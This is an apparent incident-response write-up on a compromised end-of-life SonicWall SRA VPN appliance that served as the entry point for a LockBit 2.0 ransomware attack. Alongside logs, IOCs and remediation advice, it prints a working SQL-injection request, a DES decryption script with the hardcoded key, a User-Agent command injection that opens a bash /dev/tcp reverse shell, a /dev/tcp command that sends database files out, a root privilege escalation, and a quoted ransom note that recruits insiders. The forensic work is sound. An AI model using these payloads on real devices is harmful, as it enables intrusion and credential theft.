During a DFIR (Digital Forensics and Incident Response) Case, we encountered an ESXi Hypervisor that was encrypted by the Ransomware LockBit 2.0. Suspicious SSH logons on the Hypervisor originated from an End-of-Life VPN Appliance (SonicWall SRA 4600). It turns out, this was the initial entry point for the Ransomware attack. Follow us into the forensics analysis of this compromised device.
Finding the Logs
After isolating the VPN Appliance from the Internet and from the internal Network, the customer gave us the credentials for the web based administration interface.
Unfortunately, all log listings in the graphical interfaces were almost empty:
After sifting through all the available features, we found an interesting Tech Support Report feature under System > Diagnostics:
The feature downloads a ZIP file containing interesting logs of the system and an export of its configuration:
status.txt persist.db.log.1 mcd.log.1 eventlog.1 geoBotD.log.1 tunneld.conf tunneld.log vmctl.log wafStats.db.log smtp.conf sonicfiles.log sso_proxy.log temp.db.log settings.json smm.log mcd.log nxlog.log persist.db.log kernel.log logrotate.conf logrotateVA.conf httpd.log httpd.log.1 geoBotD.log ha.log html5Client.log examples.db.log firebase.conf firebase.log ftpd.log dhcpc.log dtls.log eventlog boot.log clientsDownload.log
These logs hold very valuable information, if and only if the system was not shut down. The following files in particular were of interest:
eventlog records successful and failed logins on both the VPN and the web interface. The following information is also recorded:
- source IP address
Nov 26 11:26:26 sslvpn SSLVPN: id=sslvpn sn=[CUT-BY-COMPASS] time="2021-11-26 09:26:26" vp_time="2021-11-26 09:26:26 UTC" fw=10.100.132.2 pri=5 m=1 c=1 src=[CUT-BY-COMPASS] dst=[CUT-BY-COMPASS] user="xyz" usr="xyz" msg="User login successful" portal="VirtualOffice" domain="[CUT-BY-COMPASS]" agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36" Nov 26 11:28:02 sslvpn SSLVPN: id=sslvpn sn=[CUT-BY-COMPASS] time="2021-11-26 09:28:02" vp_time="2021-11-26 09:28:02 UTC" fw=10.100.132.2 pri=5 m=1 c=1 src=[CUT-BY-COMPASS] dst=[CUT-BY-COMPASS] user="xyz" usr="xyz" msg="User login successful" portal="VirtualOffice" domain="[CUT-BY-COMPASS]" agent="SonicWALL NetExtender for Windows 10.2.315 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1)" Nov 26 11:28:05 sslvpn SSLVPN: id=sslvpn sn=[CUT-BY-COMPASS] time="2021-11-26 09:28:05" vp_time="2021-11-26 09:28:05 UTC" fw=10.100.132.2 pri=5 m=0 c=1200 src=[CUT-BY-COMPASS] dst=10.100.132.2 user="xyz" usr="xyz" msg="Start NetExtender connection" agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0" Nov 26 11:28:05 sslvpn SSLVPN: id=sslvpn sn=[CUT-BY-COMPASS] time="2021-11-26 09:28:05" vp_time="2021-11-26 09:28:05 UTC" fw=10.100.132.2 pri=5 m=0 c=1200 src=[CUT-BY-COMPASS] dst=10.100.132.2 user="Proxy" usr="Proxy" msg="23717:Returning 200 OK Status" agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0" Nov 26 11:28:06 sslvpn SSLVPN: id=sslvpn sn=[CUT-BY-COMPASS] time="2021-11-26 09:28:06" vp_time="2021-11-26 09:28:06 UTC" fw=10.100.132.2 pri=5 m=18 c=101 src=[CUT-BY-COMPASS] dst=[CUT-BY-COMPASS] user="xyz" usr="xyz" msg="NetExtender connected" rule=access-policy proto=NetExtender agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0" Nov 27 11:07:39 sslvpn SSLVPN: id=sslvpn sn=C0EAE4915E4C time="2021-11-27 10:07:39" vp_time="2021-11-27 10:07:39 UTC" fw=10.100.132.2 pri=5 m=3 c=3 src=10.100.132.55 dst=10.100.132.2 user="asd" usr="asd" msg="Login failed - Incorrect username/password" agent="Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:93.0) Gecko/20100101 Firefox/93.0" Nov 27 11:35:43 sslvpn SSLVPN: id=sslvpn sn=C0EAE4915E4C time="2021-11-27 10:35:43" vp_time="2021-11-27 10:35:43 UTC" fw=10.100.132.2 pri=5 m=1 c=1 src=10.100.132.55 dst=10.100.132.2 user="admin" usr="admin" msg="User login successful" portal="VirtualOffice" domain="LocalDomain" agent="Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:93.0) Gecko/20100101 Firefox/93.0"
mcd.log records successful VPN connections. The following information is also recorded:
- assigned IP address from the VPN IP address pool
- source IP address from where the connection was established
2021-11-26 09:28:06:mcd 23888: MCD launched [RIP:10.100.132.100;UNAME:xyz;CIP:[CUT-BY-COMPASS]] 2021-11-26 09:28:08:mcd 23888: SSL VPN: Connected 2021-11-26 10:11:08:mcd 23888: Signal Recd (2). Exiting... 2021-11-26 10:11:08:mcd 23888: Cleaned up routes and proxy arp 2021-11-26 10:11:08:mcd 23888: NxSession sync'd up 2021-11-26 10:11:08:mcd 23888: Stat files cleaned up 2021-11-26 10:11:08:mcd 23888: MCD shutdown.
This log went back to the last start of the system, therefore giving a very long audit trail.
httpd.log records requests to the web server. This included traces of used exploit techniques. We will now dive into these.
Reconstructing the Attack
Through analysis of the event logs, suspicious logons could be identified. The source IP address was located in countries where the customer had no employees and the logon times were unusual and matched with the Ransomware attack. However, it was at first not clear if the attacker obtained credentials through phishing or through a vulnerability in the VPN appliance.
The appliance was not on the company’s inventory and therefore they were not aware that an EOL device was running in their network.
Hence we searched online to see if there were known flaws in this particular firmware version.
Unauthenticated SQL Injection
The used firmware was vulnerable to an unauthenticated SQL injection, that allows to read cached credentials of active sessions from the database. For more information about this issues, check the writeup by Crowdstrike. SonicWall issued a patch for this issue. However, because the SRA 4600 appliance is considered End-of-Life, no Firmware upgrade was released for the device.
The leaked cached credentials are plaintext VPN user passwords, encrypted with a key that is hardcoded in the appliances firmware. The following request was crafted based on the vulnerability writeup. It allowed us to test the exploitability against the SRA appliance:
POST /cgi-bin/supportInstaller HTTP/1.1 Host: 10.100.132.2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 126 fromEmailInvite=1&customerTID="impossible'+UNION+SELECT+0,0,userType,userName,0,password,0,0+FROM+Sessions+LIMIT+1+OFFSET+0--"
The encrypted password can be decrypted using a simple python script (based on the CrowdStrike writeup):
# use python3 and pip install pycryptodomex from Cryptodome.Cipher import DES def des_decrypt(ct): key = b'\x2f\x4f\x2a\x86\xd5\x52\xf8\x80' cipher = DES.new(key, DES.MODE_CBC, iv=b'\x00'*8) return cipher.decrypt(ct) def decrypt_hex_to_str(h): pt = des_decrypt(bytes.fromhex(h)) return pt.rstrip(b'\x00').decode() password_enc = '2D0A5C61578B2D70FEA65F4C5868A8DAA2ECB2DB9D203EEE' password = decrypt_hex_to_str(password_enc) print(password)
If there is no valid session, an HTTP error 500 is returned. This server error leaves valuable evidence in the
[Fri Nov 26 11:19:44 2021] [error] [client 10.100.132.55] Premature end of script headers: supportInstaller
This can be used as an IOC (Indicator of compromise), as attackers likely enumerate all active sessions and trigger this error. The logs of the appliance we looked at had these entries occurring periodically. This indicates the attackers were regularly collection plain text passwords over a longer period of time.
Authenticated OS Command Injection
Another log entry in the
httpd.log caught our attention:
httpd.log:[Fri Nov 26 11:36:21 2021] [error] [client 10.100.132.55] sh: line 4: syntax error near unexpected token `(', referer: https://10.100.132.2/ httpd.log:[Fri Nov 26 11:36:21 2021] [error] [client 10.100.132.55] sh: line 4: `HTTP_USER_AGENT=Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:93.0) Gecko/20100101 Firefox/93.0', referer: https://10.100.132.2/
This hints to a failed command injection with the user agent header involved. Several GitHub repositories with exploits for a similar vulnerabilities can be found:
However, the URL paths used in these exploits returned an HTTP 404 error on the analyzed SRA. This means, the appliance is probably not vulnerable for this vulnerability. So, the hunt goes on…
After analyzing the configuration some more, we found a hint in the Bookmarks configuration:
Bookmarks can be used to configure a link to a service in the internal network: SSH, RDP, SMB for instance. These links are then available on the SSL VPN “Virtual Office” web portal and can be accessed easily by end-users through the browser.
0a:00:27:00:00:01`env|sh` executes the
env command in a subshell. This prints all environment variables and pipes it into the shell
sh, therefore interpreting and executing all environment variables as shell commands. Because the Wake-On-Lan command is executed in a
cgi-bin environment, the
env command prints the following variables:
SERVER_SIGNATURE= HTTP_SEC_FETCH_DEST=document HTTP_USER_AGENT=Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0 SERVER_PORT=443 HTTP_HOST=10.100.132.2 DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocs SCRIPT_FILENAME=/usr/src/EasyAccess/www/cgi-bin/tscbookmark HTTPS=on REQUEST_URI=/cgi-bin/tscbookmark?method=html5&bmId=10&swcctn=1[CUT BY COMPASS]s SCRIPT_NAME=/cgi-bin/tscbookmark SCRIPT_URI=https://10.100.132.2/cgi-bin/tscbookmark HTTP_CONNECTION=close REMOTE_PORT=37872 WAF_NOT_LICENSED=1 PATH=/bin:/sbin:/usr/bin:/usr/sbin HTTP_TE=trailers _=/usr/bin/env SCRIPT_URL=/cgi-bin/tscbookmark [CUT BY COMPASS]
Most of them are interpreted as valid shell statements; they define shell variables. On the line that starts with
HTTP_USER_AGENT, spaces break the shell statement and triggers an error in the log that can be used an an IOC:
[Thu Dec 16 11:40:36 2021] [error] [client 10.100.132.55] sh: line 4: syntax error near unexpected token `(', referer: https://10.100.132.2/ [Thu Dec 16 11:40:36 2021] [error] [client 10.100.132.55] sh: line 4: `HTTP_USER_AGENT=Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0', referer: https://10.100.132.2/
User-Agent header is under control of the attacker, he can inject shell commands by inserting a malicious values in the request that triggers the execution of the Wake-On-Lan command.
To trigger the vulnerability, the bookmark is clicked on the “Virtual Office” portal of the according user:
Multiple request are sent to the server. The one of interest is the request to
/cgi-bin/tscbookmark. Here, a reverse shell is started:
GET /cgi-bin/tscbookmark?method=html5&bmId=10&swcctn=1[CUT BY COMPASS]Z HTTP/1.1 Host: 10.100.132.2 Cookie: [CUT BY COMPASS] User-Agent: bla;bash -i >& /dev/tcp/10.100.132.55/12345 0>&1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://10.100.132.2/ Te: trailers Connection: close
Because bookmarks can be created by standard SSL VPN users, this attack can be used to elevate privileges and extract the appliance configuration that holds interesting information and potentially other credentials. The vulnerability seems not to be exploitable without prior authentication.
Analyzing the SRA System
The next important step was to check the system in depth to see which credentials were stored and potentially could be obtained by the attacker.
Elevating Privileges to root
The analysis was performed through the reverse shell obtained with the OS command injection vulnerability. This shell is running under user
nobody. This means not all files on the system can be accessed:
$ nc -l 12345 bash: no job control in this shell bash-4.2$ whoami nobody
To overcome this issue, a privilege escalation was performed on the system to obtain root rights. We searched for executables writeable by everyone with the command
find . -type f -perm 777 2>/dev/null and found shell script that is invoked automatically by the
root user, when accessing certificate management on the admin interface:
lrwxrwxrwx 1 root nobody 21 Feb 11 2021 /etc/EasyAccess/var/cert/password.sh -> newcert-3/password.sh -rwxrwxrwx 1 root root 21 Dec 16 15:21 /etc/EasyAccess/var/cert/newcert-3/password.sh
The content of the script was replaced with a reverse shell payload and was invoked by accessing the certificate management on the admin interface:
The obtained reverse shell was running with root permissions:
$ nc -l 9876 bash: no job control in this shell bash-4.2# whoami whoami root
Note that this backdoor is persisted over reboots.
Finding Stored Credentials
The administrative web application is run as a cgi-bin based application. The callable endpoints are located in the folder
/usr/src/EasyAccess/www/cgi-bin. They are small compiled binaries that call the main logic of the SRA in the shared library located at
/lib/libSys.so. To store data, a persistent (
/etc/EasyAccess/var/conf/persist.db) and a non-persistent (
/tmp/temp.db) SQLight database is used. All these files can be exfiltrated, for instance by sending them to a remote host via TCP (
cat /tmp/temp.db > /dev/tcp/10.100.132.55/23456) or encoding / decoding them with base64 to stdout (
openssl base64 -in temp.db).
temp.db contains the session credentials that could be exfiltrated with the SQL Injection attack described above.
persist.db is storing the applications configuration. It can also be exported in JSON format (named
settings.json) in the diagnostic export or in the settings export feature on the admin interface.
Credentials used to connect to the Active Directory (AD) were found in the
Domains_AD table. The password is encrypted with the same hardcoded key as for the sessions above and therefore must be seen as compromised.
Other credentials named
securePasswd were found in the Users table:
By inspecting the related code in
libSys.so, it was found that this data is generated by the password hashing function PKCS5_PBKDF2_HMAC using a hardcoded salt, 256 bit key and 12800 iterations:
An attacker can’t reverse the key-derivation function, but can perform offline brute force attacks. However, this is slow due to the algorithm and the used iterations. Therefore, we assumed the attacker did not have access to the cleartext credentials.
Lastly, the root password was found in the
/etc/shadow file, hashed using a simple Linux MD5 algorithm:
bash-4.2# cat /etc/shadow cat /etc/shadow root:$1$nRh/kvy.$QGgtuH.UQBnBpu0IuL9ze.:13983:0:99999:7::: bin:x:13937:0:99999:7::: daemon:x:13937:0:99999:7::: mail:x:13937:0:99999:7::: squid:x:13937:0:99999:7::: ntp:x:13937:0:99999:7::: sshd:x:13937:0:99999:7::: nobody:x:13937:0:99999:7::: snort:x:13937:0:99999:7::: logwatch:x:13937:0:99999:7::: dnsmasq:x:13937:0:99999:7::: cron:x:13937:0:99999:7::: admin::13937:0:99999:7:::
Bruteforcing it with John the Ripper showed that password was “password”.
This may be a factory default, but is not exploitable, since the root user can’t be used to logon to the system.
Searching for Malicious Activity
Unfortunately, it was not possible to reconstruct what commands the attacker executed on the system.
No signs of persistence or malicious activity was detected by quickly analyzing the filesystem timestamps (searching for recently created files) or the running processes over the root shell. However, we did not perform a thorough analysis of the system.
These forensic evidences helped during the analysis of the Ransomware attack, as it allowed to define good IOCs which could be searched for on the corporate systems:
- Date and time when attacks were performed, obtained from the SRA logs.
- Internal IP address of the SRA itself and the IP address range of the VPN pool obtainable in the configuration.
- Suspicious external IP addresses used to connect to the SRA obtainable from the SRA log data.
- Compromised accounts identified through VPN logons from suspicious IP addresses in the SRA log data.
- Potentially compromised accounts where credentials were stored on the SRA with the reversible DES encryption.
Generally the following actions can be recommended if a VPN appliance is found to be compromised:
- Don’t reboot the appliance, important information will be lost. Rather isolate the system, so that no inbound and outbound connection to untrusted or sensitive systems are possible.
- Replace the VPN appliance if it is End-of-Life!
Specifically for SonicWall SRA, the following actions can help during a forensic investigation:
- Perform the diagnostics export, analyze the logs and check for stored credentials that can be easily decrypted.
- Perform the revers shell attack to export the
temp.dband check for stored credentials that can be easily decrypted. (No root shell access is required for this, as the database is readable by the nobody user.)
Notes on Lockbit 2.0 Ransomware
The attackers abused the SRA vulnerability to gain access to the customers network. The compromised users were AD users and could be used to logon to other Windows systems. Through Windows credentials dumping they obtained the Domain Admin credentials, which unfortunately were the same used for the root user of the ESXi server.
Therefore the attackers were able to logon to the ESXi Hypervisor and ran the LockBit 2.0 Ransomware.
They left following file named
!!!-Restore-My-Files-!!! that threatens the customer to leak its data and also contains an interesting advertisement for future criminals. It claims LockBit 2.0 to be the fasted ransomware:
~~~ LockBit 2.0 the fastest ransomware in the world ~~~ >>>> Your data are stolen and encrypted The data will be published on TOR website if you do not pay the ransom [CUT BY COMPASS] >>>> Advertisement Would you like to earn millions of dollars $$$ ? Our company acquire access to networks of various companies, as well as insider information that can help you steal the most valuable data of any company. You can provide us accounting data for the access to any company, for example, login and password to RDP, VPN, corporate email, etc. Open our letter at your email. Launch the provided virus on any computer in your company. You can do it both using your work computer or the computer of any other employee in order to divert suspicion of being in collusion with us. Companies pay us the foreclosure for the decryption of files and prevention of data leak. [CUT BY COMPASS]
Indeed after checking the timestamps of the Lockbit files, it turned out that the attacker only required 5 minutes to encrypt all files. Fully encrypting all VMDKs of a ESXi Hypervisor should require more time, so we checked the encryption of the VMDKs and of some log files that had the
.lockbit suffix appended to them.
Quickly running the command
strings or opening the files in an editor, showed that major parts of the files were not encrypted. Here are some entropy analysis performed with
Detect It Easy:
On the VMDK there seemed to be no encryption at all. It was possible to use 7Zip to extract the VMDK, mount the raw partition image and perform a forensic analysis of the data. That would not been possible with a fully encrypted VMDK.
Even if partial encryption is used, as for the log file, it would be possible to recover evidence from these images by file carving for forensic artifacts like Windows event logs.
We therefore recommend to always check the entropy of encrypted files.